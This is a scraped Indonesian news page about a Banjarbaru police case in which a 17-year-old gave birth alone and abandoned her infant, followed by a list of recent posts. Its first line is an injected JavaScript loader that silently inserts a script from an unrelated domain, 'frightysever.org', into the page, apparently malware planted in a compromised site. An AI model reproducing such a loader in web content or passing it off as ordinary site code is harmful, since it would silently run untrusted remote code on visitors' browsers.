(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Buang Bayi Setelah Lahirkan Sendiri di WC, Orangtua dan Guru Tak Tahu MA Hamil


KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Resor (Polres) Banjarbaru mengungkap kasus pembuangan bayi di Jalan Rosela Kelurahan Kemuning Kota Banjarbaru pada Sabtu (4/10/2025).

Adalah MA (17), seorang perempuan korban persetubuhan sekaligus ibu pembuang bayi. Polres Banjarbaru meringkus R (19) kekasih dari MA sebagai tersangka persetubuhan.

Kepolisian akan meningkatkan status MA sebagai tersangka karena sudah melakukan tindak pidana pembunuhan bayi yang dilahirkan.

Kendati demikian, segala pertimbangan akan dilihat penyidik dalam menetapkan MA sebagai tersangka.

Kapolres Banjarbaru AKBP Pius x Febry Aceng Loda mengungkap dari penyelidikan petugas menemui MA di rumahnya, namun sudah dalam keadaan lemas karena melahirkan seorang diri.

Baca juga: Kasus Bayi Dibuang dalam Kresek di Kemuning: Polisi Ringkus R, Hasil ‘Enak-enak’ di Luar Nikah

“Awalnya pada saat penyelidikan itu dia di rumah. Dilakukan pemeriksaan awal, karena kondisinya masih lemah, HB-nya sangat rendah,” ungkap Kapolres Banjarbaru AKBP Pius x Febry Aceng Loda saat rilis pengungkapan kasus bayi dibuang, Selasa (14/10/2025) siang.

Dengan kondisi MA yang lemah, kepolisian membawa MA ke rumah sakit untuk menjalani perawatan.

Saat kehamilan diketahui pada bulan Juli 2025, MA sempat meminta pertanggungjawaban terhadap kepada R, namun tidak digubris bahkan sampai memutus kontak dengan MA.

MA yang baru diputus oleh kekasih ini pun harus melewati masa kehamilan seorang diri, karena tidak memberitahu kejadian kehamilan kepada orangtuanya.

“MA beraktivitas seperti biasa, makanya tidak ada kecurigaan dari orangtuanya, dari gurunya mungkin tidak juga. Jadi dia sekolah seperti biasa, dengan ibunya juga dia seperti biasa,” jelasnya.

Baca juga: Bayi Perempuan Dalam Plastik Gegerkan Warga Kemuning, Dibuang Masih Ada Ari-ari

Hingga pada Sabtu 4 Oktober sekitar pukul 07.00 Wita, MA melahirkan bayi seorang diri tanpa bantuan tenaga medis maupun orang lain di WC rumahnya.

Agar tidak diketahui orangtua, bayi yang hidup saat dilahirkan itu dibungkus ke dalam plastik kemudian ditutupi dengan pakaian basah.

Kapolres menilai secara psikologis MA merasa tertekan, karena sejak awal kehamilan R tidak bisa dihubungi untuk dimintai pertanggungjawaban.

“Tapi secara psikologis pasti dia tertekan. Karena dari pengakuan, MA terus menghubungi R, namun tak ada jawaban hingga akhirnyaa menganggung sendiri. Jadi cukup prihatin, saya bilang kasus ini harus terungkap. Tidak boleh tidak terungkap, jangan biarkan pelaku kejahatan itu bebas berkeliaran,” imbuh dia.

Kapolres Banjarbaru meminta agar dari kasus ini menjadi perhatian seluruh pihak, sebab tidak hanya menjadi permasalahan anak, tetapi juga menjadi permasalahan dari dalam keluarga.

Baca juga: DPPKB HSU Beri Pelayanan Pengukuran Catin

“Perhatian terhadap perkembangan anak ini adalah tanggung jawab dari orangtua. Kemudian di sekolah, kemudian proses belajar, bimbingan dan sebagainya ini menjadi tanggung jawab dari guru,” tegasnya.

Dirinya mengimbau baik sebagai orangtua maupun guru dapat memperhatikan anak-anak agar tidak jatuh dalam pergaulan yang salah.

“Di tengah pengaruh-pengaruh luar, apalagi media yang sangat dinamis, banyak pengaruh-pengaruh luar yang masuk, bisa jadi salah bergaul. Maka kembali lagi sebagai orang tua, sebagai guru ya kita sama-sama mengawasi anak-anak kita, sehingga anak-anak kita ini pergaulannya bisa terarah, terhindar dari hal-hal yang tidak diinginkan,” pungkasnya.

Dalam penanganan kasus ini juga, Kasat Reskrim Polres Banjarbaru AKP Haris Wicaksono menegaskan bahwa MA dipastikan mendapatkan hak-haknya sebelum dinaikkan statusnya.

“MA mendapatkan dulu hak-haknya untuk diberikan pendampingan dari dinas terkait sampai dengan uji psikologinya,” ucap Kasat Reskrim Polres Banjarbaru AKP Haris Wicaksono.
Tak hanya itu, MA diberikan penanganan medis melalui penanganan post partum atau penanganan medis pasca kelahiran.

Baca juga: Satgas MBG Terbentuk, Awasi 21 SPPG di Banjarbaru

“Sehingga MA langsung kita bawa ke rumah sakit. Sambil menunggu fisik-psikis yang bersangkutan ini stabil, kami juga menunggu hasil uji lab DNA berkaitan dengan identiknya DNA ayah dan ibunya ini terhadap si bayinya,” sebutnya.

Apabila semua proses berjalan hingga hasil lah DNA keluar polisi akan melanjutkan proses penyidikan kepada korban MA.

“Namun, nanti dalam penanganannya diharapkan tidak perlu atau tidak ada assessmen berkaitan dengan ancaman pidana, tidak perlu dengan kurangan dan sebagainya, mungkin bisa dengan kerjaan sosial dan sebagainya,” tutup AKP Haris. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

3 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

4 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

6 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

10 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

10 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

13 jam ago

This website uses cookies.